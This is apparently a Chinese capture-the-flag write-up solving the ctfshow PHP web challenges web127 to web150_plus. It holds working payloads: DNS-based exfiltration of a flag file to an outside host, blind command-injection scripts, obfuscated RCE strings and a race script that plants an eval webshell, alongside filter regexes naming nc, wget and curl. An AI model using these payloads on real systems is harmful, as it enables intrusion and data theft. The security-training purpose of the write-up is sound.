$c=$_POST['fun']; | |
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ | |
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ | |
eval("$c".";"); | |
if($fl0g==="flag_give_me"){ | |
echo $flag; | |
} | |
} | |
} |
本题过滤名单加上了几个字母 g|i|f|c|o|d,那么上面一题的高亮用法也被过滤了,那么 get 和 post 就不能再使用了,而且这里存在长度限制。最后还有的办法就是利用原有的 echo 语句输出 flag
parse_str () 函数把查询字符串解析到变量中
assert () 判断一个表达式是否成立,之间的代码会被执行
看到 $a=$_SERVER ['argv'];,这里可以利用,“$argv” 用于存放指向字符串的参数,是传递给脚本的参数数组,每一个元素指向一个参数,第一个参数总是当前脚本的文件名;
这里测试一下,注意这里需要将 register_argc_argv 配置项改为为 no,
cli 模式下
网页模式下
本题的逻辑就显而易见了,前面的 CTF_SHOWW 不变,fun=assert ($a [0]),这样就会执行 $a [0] 的参,get 传入一个?$fl0g=flag_give_me,就会将这一句话通过断言执行,成功将 $fl0g 赋值,通过原有的 echo 语句输出 flag
# web127
<?php | |
error_reporting(0); | |
include("flag.php"); | |
highlight_file(__FILE__); | |
$ctf_show = md5($flag); | |
$url = $_SERVER['QUERY_STRING']; | |
// 特殊字符检测 | |
function waf($url){ | |
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ | |
return true; | |
}else{ | |
return false; | |
} | |
} | |
if(waf($url)){ | |
die("嗯哼?"); | |
}else{ | |
extract($_GET); | |
} | |
if($ctf_show==='ilove36d'){ | |
echo $flag; | |
} |
extract () 函数从数组中将变量导入到当前的符号表。
没啥限制,直接变量覆盖,这里下划线被过滤,尝试 [[空格], 空格可以直接绕过
# web128
<?php | |
error_reporting(0); | |
include("flag.php"); | |
highlight_file(__FILE__); | |
$f1 = $_GET['f1']; | |
$f2 = $_GET['f2']; | |
if(check($f1)){ | |
var_dump(call_user_func(call_user_func($f1,$f2))); | |
}else{ | |
echo "嗯哼?"; | |
} | |
function check($str){ | |
return !preg_match('/[0-9]|[a-z]/i', $str); | |
} |
call_user_func () 回调函数,看到这个函数自然想到使得第一个参数称为一个危险函数,但是 check 将所有的数字字母都过滤了,但是这里没有过滤符号,想到有一个奇怪的东西_(),_()==gettext () 是 gettext () 的拓展函数,开启 text 扩展。需要 php 扩展目录下有 php_gettext.dll
get_defined_vars() 函数返回由所有已定义变量所组成的数组。
当正常的 gettext (“get_defined_vars”); 时会返还 get_defined_vars,外层的回调函数再调用 get_defined_vars 打印所有已经定义的变量
payload: ?f1=_&f2=get_defined_vars
# web129
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
if(isset($_GET['f'])){ | |
$f = $_GET['f']; | |
if(stripos($f, 'ctfshow')>0){ | |
echo readfile($f); | |
} | |
} |
stripos () 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。这里直接目录穿越即可
# web130
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
include("flag.php"); | |
if(isset($_POST['f'])){ | |
$f = $_POST['f']; | |
if(preg_match('/.+?ctfshow/is', $f)){ | |
die('bye!'); | |
} | |
if(stripos($f, 'ctfshow') === FALSE){ | |
die('bye!!'); | |
} | |
echo $flag; | |
} |
这里的是.+?,所以是 ctfshow 前面至少加一个东西才能匹配到,直接传 ctfshow 即可,或者数组绕过,stripos 不处理数组
# web131
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
include("flag.php"); | |
if(isset($_POST['f'])){ | |
$f = (String)$_POST['f']; | |
if(preg_match('/.+?ctfshow/is', $f)){ | |
die('bye!'); | |
} | |
if(stripos($f,'36Dctfshow') === FALSE){ | |
die('bye!!'); | |
} | |
echo $flag; | |
} |
str_repeat () 函数把字符串重复指定的次数。
PHP 为了防止正则表达式的拒绝服务击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false, 这样就可以绕过第一个正则表达式了
import requests | |
url="http://151cbf5e-eff1-412c-98b3-a1fc814ced40.challenge.ctf.show/" | |
data={ | |
"f":"a"*1000000+"36Dctfshow" | |
} | |
r=requests.post(url,data) | |
print(r.text) |
# 后篇
# web132
扫描得到,访问 admin
<?php | |
#error_reporting(0); | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ | |
$username = (String)$_GET['username']; | |
$password = (String)$_GET['password']; | |
$code = (String)$_GET['code']; | |
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ | |
if($code == 'admin'){ | |
echo $flag; | |
} | |
} | |
} |
这里有 ||,只需要满足前面两个或者后面一个即可,所以这里给 username 传入一个 admin 绕过
# web133
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
//flag.php | |
if($F = @$_GET['F']){ | |
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ | |
eval(substr($F,0,6)); | |
}else{ | |
die("6个字母都还不够呀?!"); | |
} | |
} |
本题 emmm 长度限制为 6,危险函数限制,这里构造一个
`$F`; |
注意这里后面是有空格的,刚好 6 个字符,就可以通过反引号执行命令,但是执行完命令后发现没有回显 DNSLog Platform 通过这个在线工具,带出回显的结果
payload:
?F=`$F`;+ping `cat flag.php|grep ctfshow`.cez6di.dnslog.cn -c 1
# web134
<?php | |
highlight_file(__FILE__); | |
$key1 = 0; | |
$key2 = 0; | |
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { | |
die("nonononono"); | |
} | |
@parse_str($_SERVER['QUERY_STRING']); | |
extract($_POST); | |
if($key1 == '36d' && $key2 == '36d') { | |
die(file_get_contents('flag.php')); | |
} |
extract () : 将数组转换为多个变量
$_SERVER ['QUERY_STRING'] 获取 URL 数据,将数据转换为数组,获取单个数组元素
parse_str () 函数把查询字符串解析到变量中
payload:
?_POST[key1]=36d&_POST[key2]=36d
# web135
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
//flag.php | |
if($F = @$_GET['F']){ | |
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ | |
eval(substr($F,0,6)); | |
}else{ | |
die("师傅们居然破解了前面的,那就来一个加强版吧"); | |
} | |
} |
这一题是 web133 的 “升级” 版本,打开文件的命令都被 ban 了
?F=`$F`;+cp%20flag.php%201.txt
# web136
<?php | |
error_reporting(0); | |
function check($x){ | |
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ | |
die('too young too simple sometimes naive!'); | |
} | |
} | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
check($c); | |
exec($c); | |
} | |
else{ | |
highlight_file(__FILE__); | |
} | |
?> |
tee 命令用于读取标准输入的数据,这里可以将执行的结果输入到新的文件然后读取
payload
?c=ls /| tee 1
这里会将 ls / 的查询结果写入 1 中
再读取文件就可以了
?c=cat /f149_15_h3r3| tee 1
# web137
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
class ctfshow | |
{ | |
function __wakeup(){ | |
die("private class"); | |
} | |
static function getFlag(){ | |
echo file_get_contents("flag.php"); | |
} | |
} | |
call_user_func($_POST['ctfshow']); |
这里直接调用静态方法即可,payload
ctfshow=ctfshow::getFlag
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
# web138
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
class ctfshow | |
{ | |
function __wakeup(){ | |
die("private class"); | |
} | |
static function getFlag(){ | |
echo file_get_contents("flag.php"); | |
} | |
} | |
if(strripos($_POST['ctfshow'], ":")>-1){ | |
die("private function"); | |
} | |
call_user_func($_POST['ctfshow']); |
:被 ban,还可以使用上面数组的方式
call_user_func 函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
# web139
<?php | |
error_reporting(0); | |
function check($x){ | |
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ | |
die('too young too simple sometimes naive!'); | |
} | |
} | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
check($c); | |
exec($c); | |
} | |
else{ | |
highlight_file(__FILE__); | |
} | |
?> |
这题好像和 136 一样但是使用 tee 命令却带不出回显了这里使用了一个新的命令 awk
AWK 是一种处理文本文件的语言,是一个强大的文本分析工具。
cut 命令用于显示每行从开头算起 num1 到 num2 的文字
-b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。 | |
-c :以字符为单位进行分割。 | |
-d :自定义分隔符,默认为制表符。 | |
-f :与-d一起使用,指定显示哪个区域。 | |
-n :取消分割多字节字符。仅和 -b 标志一起使用。如果字符的最后一个字节落在由 -b 标志的 List 参数指示的 | |
范围之内,该字符将被写出;否则,该字符将被排除 |
这里配合 cut 可以将字符单个输出
通过 shell 语法延迟,将字符转换为时间信道
那么就可以做到类似时间盲注的效果,简单的整个 exp,找到存放 flag 的文件
import requests | |
import time | |
import string | |
str=string.digits+string.ascii_letters+"-_." | |
#rint(str) | |
url="http://f59ad576-2f1c-49a2-b14d-92df62c3edfa.challenge.ctf.show/?c=" | |
flag="" | |
for i in range(1,10): | |
for j in range(1,20): | |
for s in str: | |
payload = "if [ `ls / -1|awk \"NR=={0}\" |cut -c {1}` == \"{2}\" ];then sleep 3;fi".format(i,j,s) | |
payloadpro=url+payload | |
#print(payloadpro) | |
try: | |
requests.get(payloadpro,timeout=2.5) | |
except: | |
flag=flag+s | |
print(flag) | |
break | |
flag=flag+" " | |
print(flag) |
接下来将命令改一下拿到 flag
import requests | |
import time | |
import string | |
str=string.digits+string.ascii_letters+"-_." | |
#rint(str) | |
url="http://f59ad576-2f1c-49a2-b14d-92df62c3edfa.challenge.ctf.show/?c=" | |
flag="" | |
for i in range(1,10): | |
for j in range(1,50): | |
for s in str: | |
payload = "if [ `cat /f149_15_h3r3|awk \"NR=={0}\" |cut -c {1}` == \"{2}\" ];then sleep 3;fi".format(i,j,s) | |
payloadpro=url+payload | |
#print(payloadpro) | |
try: | |
requests.get(payloadpro,timeout=2.5) | |
except: | |
flag=flag+s | |
print(flag) | |
break | |
flag=flag+" " | |
print(flag) |
# web140
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
if(isset($_POST['f1']) && isset($_POST['f2'])){ | |
$f1 = (String)$_POST['f1']; | |
$f2 = (String)$_POST['f2']; | |
if(preg_match('/^[a-z0-9]+$/', $f1)){ | |
if(preg_match('/^[a-z0-9]+$/', $f2)){ | |
$code = eval("return $f1($f2());"); | |
if(intval($code) == 'ctfshow'){ | |
echo file_get_contents("flag.php"); | |
} | |
} | |
} | |
} |
最后一个 if 是一个弱类型比较,只要上面的值为 0 或者 false 或 NULL 的
post f1=usleep&f2=usleep
post f1=gmdate&f2=gmdate
post f1=intval&f2=intval
post f1=system&f2=system
等等,很多函数都可以
# web141
<?php | |
highlight_file(__FILE__); | |
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ | |
$v1 = (String)$_GET['v1']; | |
$v2 = (String)$_GET['v2']; | |
$v3 = (String)$_GET['v3']; | |
if(is_numeric($v1) && is_numeric($v2)){ | |
if(preg_match('/^\W+$/', $v3)){ | |
$code = eval("return $v1$v3$v2;"); | |
echo "$v1$v3$v2 = ".$code; | |
} | |
} | |
} |
if (preg_match ('/^\W+$/', $v3)) 这里只能使用符号,相当于无参 rce
v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C);
?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);
# web142
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
if(isset($_GET['v1'])){ | |
$v1 = (String)$_GET['v1']; | |
if(is_numeric($v1)){ | |
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); | |
sleep($d); | |
echo file_get_contents("flag.php"); | |
} | |
} |
?v1=0
果然是难度 0
# web143
<?php | |
highlight_file(__FILE__); | |
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ | |
$v1 = (String)$_GET['v1']; | |
$v2 = (String)$_GET['v2']; | |
$v3 = (String)$_GET['v3']; | |
if(is_numeric($v1) && is_numeric($v2)){ | |
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ | |
die('get out hacker!'); | |
} | |
else{ | |
$code = eval("return $v1$v3$v2;"); | |
echo "$v1$v3$v2 = ".$code; | |
} | |
} | |
} |
和 web141 一样使用无参 rce,就是加上了一些限制,但是没有过滤 ^, 这里使异或绕过即可
# web144
<?php | |
highlight_file(__FILE__); | |
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ | |
$v1 = (String)$_GET['v1']; | |
$v2 = (String)$_GET['v2']; | |
$v3 = (String)$_GET['v3']; | |
if(is_numeric($v1) && check($v3)){ | |
if(preg_match('/^\W+$/', $v2)){ | |
$code = eval("return $v1$v3$v2;"); | |
echo "$v1$v3$v2 = ".$code; | |
} | |
} | |
} | |
function check($str){ | |
return strlen($str)===1?true:false; | |
} |
这里题目说是上一题的升级版,但是好像更简单?
v3 的长度唯一,然后再 v2rce
上面的 payload 接着用就行了
# web145
<?php | |
highlight_file(__FILE__); | |
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ | |
$v1 = (String)$_GET['v1']; | |
$v2 = (String)$_GET['v2']; | |
$v3 = (String)$_GET['v3']; | |
if(is_numeric($v1) && is_numeric($v2)){ | |
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ | |
die('get out hacker!'); | |
} | |
else{ | |
$code = eval("return $v1$v3$v2;"); | |
echo "$v1$v3$v2 = ".$code; | |
} | |
} | |
} |
emmmmm 加了一些限制但是好像没有过滤取反,接着用就行
# web146
<?php | |
highlight_file(__FILE__); | |
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ | |
$v1 = (String)$_GET['v1']; | |
$v2 = (String)$_GET['v2']; | |
$v3 = (String)$_GET['v3']; | |
if(is_numeric($v1) && is_numeric($v2)){ | |
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ | |
die('get out hacker!'); | |
} | |
else{ | |
$code = eval("return $v1$v3$v2;"); | |
echo "$v1$v3$v2 = ".$code; | |
} | |
} | |
} |
开始我还在疑惑为啥题没改,才看到那些运算符都加入黑名单了,这里还能用的有 | 和三元运算符
?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|
# web147
<?php | |
highlight_file(__FILE__); | |
if(isset($_POST['ctf'])){ | |
$ctfshow = $_POST['ctf']; | |
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { | |
$ctfshow('',$_GET['show']); | |
} | |
} |
create_function 的代码注入,先看看官方文档怎么说
这里就正常使用 create_function 的代码注入,但是麻烦的是这个正则,这里使用 \ 可以绕过,php 里默认命名空间是 \,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名 function_name () 调用,调用的时候其实相当于写了一个相对路 径; 而如果写 \function_name () 这样调用函数,则其实是写了一个绝对路径。 如果你在其他 namespace 里调用系统类,就必须写绝对路径这种写法
那么剩下的就简单了,正常注入就行,} 闭合原来的函数,然后执行命令,然后再把多余的} 给注释掉就可以了
# web148
<?php | |
include 'flag.php'; | |
if(isset($_GET['code'])){ | |
$code=$_GET['code']; | |
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){ | |
die("error"); | |
} | |
@eval($code); | |
} | |
else{ | |
highlight_file(__FILE__); | |
} | |
function get_ctfshow_fl0g(){ | |
echo file_get_contents("flag.php"); | |
} |
这里看来只能使用异或了
?code=("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
# web149
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
$files = scandir('./'); | |
foreach($files as $file) { | |
if(is_file($file)){ | |
if ($file !== "index.php") { | |
unlink($file); | |
} | |
} | |
} | |
file_put_contents($_GET['ctf'], $_POST['show']); | |
$files = scandir('./'); | |
foreach($files as $file) { | |
if(is_file($file)){ | |
if ($file !== "index.php") { | |
unlink($file); | |
} | |
} | |
} |
很简单的条件竞争没啥好说的
# web150
<?php | |
include("flag.php"); | |
error_reporting(0); | |
highlight_file(__FILE__); | |
class CTFSHOW{ | |
private $username; | |
private $password; | |
private $vip; | |
private $secret; | |
function __construct(){ | |
$this->vip = 0; | |
$this->secret = $flag; | |
} | |
function __destruct(){ | |
echo $this->secret; | |
} | |
public function isVIP(){ | |
return $this->vip?TRUE:FALSE; | |
} | |
} | |
function __autoload($class){ | |
if(isset($class)){ | |
$class(); | |
} | |
} | |
#过滤字符 | |
$key = $_SERVER['QUERY_STRING']; | |
if(preg_match('/\_| |\[|\]|\?/', $key)){ | |
die("error"); | |
} | |
$ctf = $_POST['ctf']; | |
extract($_GET); | |
if(class_exists($__CTFSHOW__)){ | |
echo "class is exists!"; | |
} | |
if($isVIP && strrpos($ctf, ":")===FALSE){ | |
include($ctf); | |
} |
这里的 include 文件包含没啥限制,任意文件包含,看到往上的师傅说可以日志包含,果然强但是我没能成功复现,包含 session 文件还是可以的
# web150_plus
<?php | |
include("flag.php"); | |
error_reporting(0); | |
highlight_file(__FILE__); | |
class CTFSHOW{ | |
private $username; | |
private $password; | |
private $vip; | |
private $secret; | |
function __construct(){ | |
$this->vip = 0; | |
$this->secret = $flag; | |
} | |
function __destruct(){ | |
echo $this->secret; | |
} | |
public function isVIP(){ | |
return $this->vip?TRUE:FALSE; | |
} | |
} | |
function __autoload($class){ | |
if(isset($class)){ | |
$class(); | |
} | |
} | |
#过滤字符 | |
$key = $_SERVER['QUERY_STRING']; | |
if(preg_match('/\_| |\[|\]|\?/', $key)){ | |
die("error"); | |
} | |
$ctf = $_POST['ctf']; | |
extract($_GET); | |
if(class_exists($__CTFSHOW__)){ | |
echo "class is exists!"; | |
} | |
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ | |
include($ctf); | |
} |
这里多加了一个 log,但是好像没啥太大影响
这个题一点点小坑__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦
最后整个脚本
import io | |
import requests | |
import threading | |
url = 'http://3b26945b-f942-4c30-8a18-9c796b82a7cc.challenge.ctf.show/?isVIP=1' | |
event = threading.Event() | |
def write(session): | |
data = { | |
'PHP_SESSION_UPLOAD_PROGRESS': 'aaaaaa<?php file_put_contents("/var/www/html/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg=="));?>' | |
} | |
while True: | |
if event.is_set(): | |
return | |
f = io.BytesIO(b'a' * 1024 * 10) | |
_ = session.post(url,cookies={'PHPSESSID': 'down'}, data=data, files={'file': ('verysafe.txt', f)}) | |
def read(session): | |
while True: | |
if event.is_set(): | |
return | |
response = session.post(url, data={"ctf": "/tmp/sess_down"}) | |
if 'aaaaaa' in response.text: | |
print(response.text) | |
event.set() | |
else: | |
print('retry') | |
if __name__ == '__main__': | |
session = requests.session() | |
for i in range(30): | |
threading.Thread(target=write, args=(session,)).start() | |
for i in range(30): | |
threading.Thread(target=read, args=(session,)).start() | |
event.wait() |